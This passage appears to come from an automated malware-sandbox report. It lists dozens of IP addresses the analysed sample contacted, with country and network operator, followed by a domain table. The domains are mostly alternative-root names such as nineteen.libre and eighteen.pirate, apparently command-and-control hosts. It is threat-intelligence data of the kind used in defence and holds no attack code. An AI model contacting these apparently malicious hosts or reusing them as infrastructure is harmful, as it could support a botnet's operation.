21575 ENTELPERUSAPE false
121.145.79.75
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
142.1.151.110
 unknown Canada
239 UTORONTO-ASCA false
15.117.80.76
 unknown United States
13979 ATT-IPFRUS false
27.118.193.118
 unknown Korea Republic of
17877 NEXG-AS-KRNexGCoLTDKR false
109.212.238.67
 unknown France
3215 FranceTelecom-OrangeFR false
219.226.141.30
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
116.170.166.244
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
166.239.91.125
 unknown United States
22394 CELLCOUS false
133.157.136.103
 unknown Japan 38634 DWANGODWANGOCoLtdJP false
215.86.232.160
 unknown United States
721 DNIC-ASBLK-00721-00726US false
216.140.219.3
 unknown United States
3356 LEVEL3US false
29.56.110.49
 unknown United States
7922 COMCAST-7922US false
129.202.100.149
 unknown United States
158 ERI-ASUS false
130.142.1.44
 unknown Netherlands
137 ASGARRConsortiumGARREU false
167.111.169.1
 unknown Saudi Arabia
6057 AdministracionNacionaldeTelecomunicacionesUY false
199.69.193.143
 unknown United States
7018 ATT-INTERNET4US false
196.126.95.173
 unknown Morocco
36925 ASMediMA false
114.72.173.185
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
83.241.185.139
 unknown Sweden
21195 DGCSYSTEMSStockholmSwedenSE false
157.146.162.185
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
135.173.127.112
 unknown United States
14962 NCR-252US false
109.115.209.10
 unknown Italy
30722 VODAFONE-IT-ASNIT false
174.213.218.198
 unknown United States
22394 CELLCOUS false
218.86.26.92
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
189.72.70.138
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
197.130.137.13
 unknown Morocco
6713 IAM-ASMA false
80.86.164.201
 unknown European Union
13237 LAMBDANET-ASEuropeanBackboneofAS13237DE false
120.244.102.156
 unknown China
56048 CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN false
212.218.73.186
 unknown Germany
8319 NETHINKS-ASNETHINKSGmbHDE false
136.240.225.40
 unknown United States
22174 NET-SUC-TECH-ALFUS false
205.67.48.40
 unknown United States
3475 DNIC-AS-03475US false
125.117.108.116
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
119.225.95.96
 unknown Australia
7474 OPTUSCOM-AS01-AUSingTelOptusPtyLtdAU false
18.11.134.14
 unknown United States
3 MIT-GATEWAYSUS false
191.48.206.249
 unknown Brazil
26615 TIMSABR false
217.80.95.111
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
9.11.133.225
 unknown United States
3356 LEVEL3US false
35.139.26.95
 unknown United States
33363 BHN-33363US false
129.16.241.237
 unknown Sweden
2841 CHALMERSSE false
40.135.202.22
 unknown United States
7029 WINDSTREAMUS false
64.80.32.1
 unknown United States
7029 WINDSTREAMUS false
40.228.53.79
 unknown United States
4249 LILLY-ASUS false
166.145.40.179
 unknown United States
22394 CELLCOUS false
217.222.93.172
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
111.173.165.205
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
5.249.239.2
 unknown Norway
199566 INICNO false
178.114.204.35
 unknown Austria
8437 UTA-ASAT false
191.29.96.56
 unknown Brazil
26599 TELEFONICABRASILSABR false
184.93.142.57
 unknown United States
33363 BHN-33363US false
84.90.34.162
 unknown Portugal
13156 AS13156PalmelaPT false
205.201.234.19
 unknown United States
7314 TIS-ASNUS false
175.126.45.175
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false

Contacted Domains

Name IP Active
nineteen.libre 103.253.147.242 true
daisy.ubuntu.com 162.213.35.24 true
nineteen.libre. [malformed] unknown unknown
eighteen.pirate. [malformed] unknown unknown
imaverygoodbadboy.libre. [malformed] unknown unknown
fortyfivehundred.dyn. [malformed] unknown unknown
f.codingdrunk. . [malformed] unknown unknown
75cents.libre. [malformed] unknown unknown
www.codingdrunk.in. [malformed] unknown unknown
2joints.libre. [malformed] unknown unknown
ru.coziest.lol. [malformed] unknown unknown